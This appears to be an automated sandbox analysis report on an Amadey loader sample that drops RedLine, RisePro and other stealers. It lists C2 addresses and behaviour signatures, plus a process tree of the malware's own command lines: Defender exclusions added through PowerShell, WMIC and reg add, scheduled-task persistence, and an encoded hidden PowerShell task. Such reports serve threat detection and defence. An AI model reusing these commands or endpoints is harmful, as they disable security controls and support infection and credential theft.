Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    30-05-2024 04:42

General

  • Target

    ec7fb89f6cf89346ad09719710731e60859929a4b43b0a2b478ec270f289e608.exe

  • Size

    1.8MB

  • MD5

    5f7037e02783ef03e0f9513a6b4ba982

  • SHA1

    e6b1253432e4d35515fca73750e1d20865a3cddb

  • SHA256

    ec7fb89f6cf89346ad09719710731e60859929a4b43b0a2b478ec270f289e608

  • SHA512

    218a7aed2b8392d2bac4863be6e4d93e7db2d8b29ab3c1f0799e592f67d4924310bb9bcf207b185fffc6f144293bec03c2d77b726e1e4c88a3c76e6bd476711d

  • SSDEEP

    49152:GhebFi98u/eirOR0zut5SR1737iLNCrq0p:FB0LWQORN2HaErq

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

C2

http://147.45.47.155

Attributes
  • install_dir

    9217037dc9

  • install_file

    explortu.exe

  • strings_key

    8e894a8a4a3d0da8924003a561cfb244

  • url_paths

    /ku4Nor9/index.php

rc4.plain

Extracted

Family

amadey

Version

4.21

Botnet

49e482

C2

http://147.45.47.70

Attributes
  • install_dir

    1b29d73536

  • install_file

    axplont.exe

  • strings_key

    4d31dd1a190d9879c21fac6d87dc0043

  • url_paths

    /tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:40960

Extracted

Family

risepro

C2

147.45.47.126:58709

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Modifies firewall policy service 2 TTPs 1 IoCs
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 40 IoCs
  • Detects executables (downlaoders) containing URLs to raw contents of a paste 5 IoCs
  • Detects executables packed with Themida 7 IoCs
  • Detects executables packed with or use KoiVM 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 21 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops Chrome extension 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 27 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 59 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ec7fb89f6cf89346ad09719710731e60859929a4b43b0a2b478ec270f289e608.exe
    "C:\Users\Admin\AppData\Local\Temp\ec7fb89f6cf89346ad09719710731e60859929a4b43b0a2b478ec270f289e608.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
      "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2644
      • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
        "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
        3⤵
          PID:3024
        • C:\Users\Admin\1000004002\03587c28d9.exe
          "C:\Users\Admin\1000004002\03587c28d9.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
            "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2824
            • C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
              "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2192
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2192 -s 72
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:596
            • C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
              "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
              5⤵
              • Executes dropped EXE
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1140
            • C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
              "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2904
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 68
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:2896
            • C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
              "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1976
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 72
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:2724
            • C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
              "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2028
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 96
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:2992
            • C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
              "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
              5⤵
              • UAC bypass
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              • System policy modification
              PID:292
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe" -Force
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2152
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                6⤵
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:1588
                • C:\Users\Admin\Pictures\SDjsO9XAM5yzJJdXGQwvjNKB.exe
                  "C:\Users\Admin\Pictures\SDjsO9XAM5yzJJdXGQwvjNKB.exe" /s
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Writes to the Master Boot Record (MBR)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2860
                • C:\Users\Admin\Pictures\XvkLDTlGteWywxWSkc9h0Pwj.exe
                  "C:\Users\Admin\Pictures\XvkLDTlGteWywxWSkc9h0Pwj.exe"
                  7⤵
                  • Modifies firewall policy service
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Drops file in System32 directory
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Modifies system certificate store
                  PID:1964
                • C:\Users\Admin\Pictures\balaVBUfueCwMeOTuCzJECg3.exe
                  "C:\Users\Admin\Pictures\balaVBUfueCwMeOTuCzJECg3.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3068
                  • C:\Users\Admin\AppData\Local\Temp\7zSDBAF.tmp\Install.exe
                    .\Install.exe
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:308
                    • C:\Users\Admin\AppData\Local\Temp\7zSE060.tmp\Install.exe
                      .\Install.exe /NQHxdidUQs "385118" /S
                      9⤵
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Enumerates system info in registry
                      PID:316
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        10⤵
                          PID:2588
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                            11⤵
                              PID:2672
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                12⤵
                                  PID:1576
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                    13⤵
                                      PID:2784
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                  11⤵
                                    PID:2316
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                      12⤵
                                        PID:844
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                          13⤵
                                            PID:700
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                        11⤵
                                          PID:1188
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                            12⤵
                                              PID:2016
                                              • \??\c:\windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                13⤵
                                                  PID:2404
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                              11⤵
                                                PID:2560
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                  12⤵
                                                    PID:2552
                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                      13⤵
                                                        PID:2844
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                    11⤵
                                                      PID:2920
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                        12⤵
                                                          PID:1972
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                            13⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Drops file in System32 directory
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2880
                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                              14⤵
                                                                PID:1780
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                        10⤵
                                                          PID:1320
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                            11⤵
                                                              PID:2472
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                12⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Drops file in System32 directory
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3004
                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                  13⤵
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3020
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 04:44:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\JKjDtBD.exe\" 1g /flHdidlUtm 385118 /S" /V1 /F
                                                            10⤵
                                                            • Drops file in Windows directory
                                                            • Creates scheduled task(s)
                                                            PID:2720
                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
                                                            10⤵
                                                              PID:2404
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                11⤵
                                                                  PID:2844
                                                                  • \??\c:\windows\SysWOW64\schtasks.exe
                                                                    schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                    12⤵
                                                                      PID:2552
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 316 -s 556
                                                                  10⤵
                                                                  • Loads dropped DLL
                                                                  • Program crash
                                                                  PID:1084
                                                          • C:\Users\Admin\Pictures\P2d5x83iIjZyuhQWXUPam00D.exe
                                                            "C:\Users\Admin\Pictures\P2d5x83iIjZyuhQWXUPam00D.exe"
                                                            7⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:824
                                                        • C:\Windows\system32\WerFault.exe
                                                          C:\Windows\system32\WerFault.exe -u -p 292 -s 752
                                                          6⤵
                                                          • Loads dropped DLL
                                                          PID:2332
                                                      • C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:1724
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F
                                                          6⤵
                                                          • Creates scheduled task(s)
                                                          PID:1972
                                                  • C:\Users\Admin\AppData\Local\Temp\1000005001\bb4b548845.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\1000005001\bb4b548845.exe"
                                                    3⤵
                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                    • Checks BIOS information in registry
                                                    • Executes dropped EXE
                                                    • Identifies Wine through registry keys
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1772
                                              • C:\Windows\system32\taskeng.exe
                                                taskeng.exe {9302FE18-BE56-4B90-839A-3D10E459CAFD} S-1-5-18:NT AUTHORITY\System:Service:
                                                1⤵
                                                  PID:1436
                                                  • C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\JKjDtBD.exe
                                                    C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\JKjDtBD.exe 1g /flHdidlUtm 385118 /S
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    PID:1032
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                      3⤵
                                                        PID:2920
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                          4⤵
                                                            PID:2152
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                              5⤵
                                                                PID:1368
                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                  6⤵
                                                                    PID:2476
                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                4⤵
                                                                  PID:1736
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                    5⤵
                                                                      PID:2128
                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                        6⤵
                                                                          PID:2752
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                      4⤵
                                                                        PID:1336
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                          5⤵
                                                                            PID:2996
                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                              6⤵
                                                                                PID:2688
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                            4⤵
                                                                              PID:2536
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                5⤵
                                                                                  PID:3020
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                    6⤵
                                                                                      PID:3000
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                  4⤵
                                                                                    PID:2776
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                      5⤵
                                                                                        PID:1640
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                          6⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops file in System32 directory
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1604
                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                            7⤵
                                                                                              PID:2280
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /CREATE /TN "gmZzeArCd" /SC once /ST 03:30:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                      3⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:1188
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /run /I /tn "gmZzeArCd"
                                                                                      3⤵
                                                                                        PID:2880
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /DELETE /F /TN "gmZzeArCd"
                                                                                        3⤵
                                                                                          PID:2588
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                                          3⤵
                                                                                            PID:2080
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                              4⤵
                                                                                                PID:2788
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                  5⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Drops file in System32 directory
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:3020
                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                    6⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1736
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:2672
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                                  4⤵
                                                                                                  • Windows security bypass
                                                                                                  PID:2460
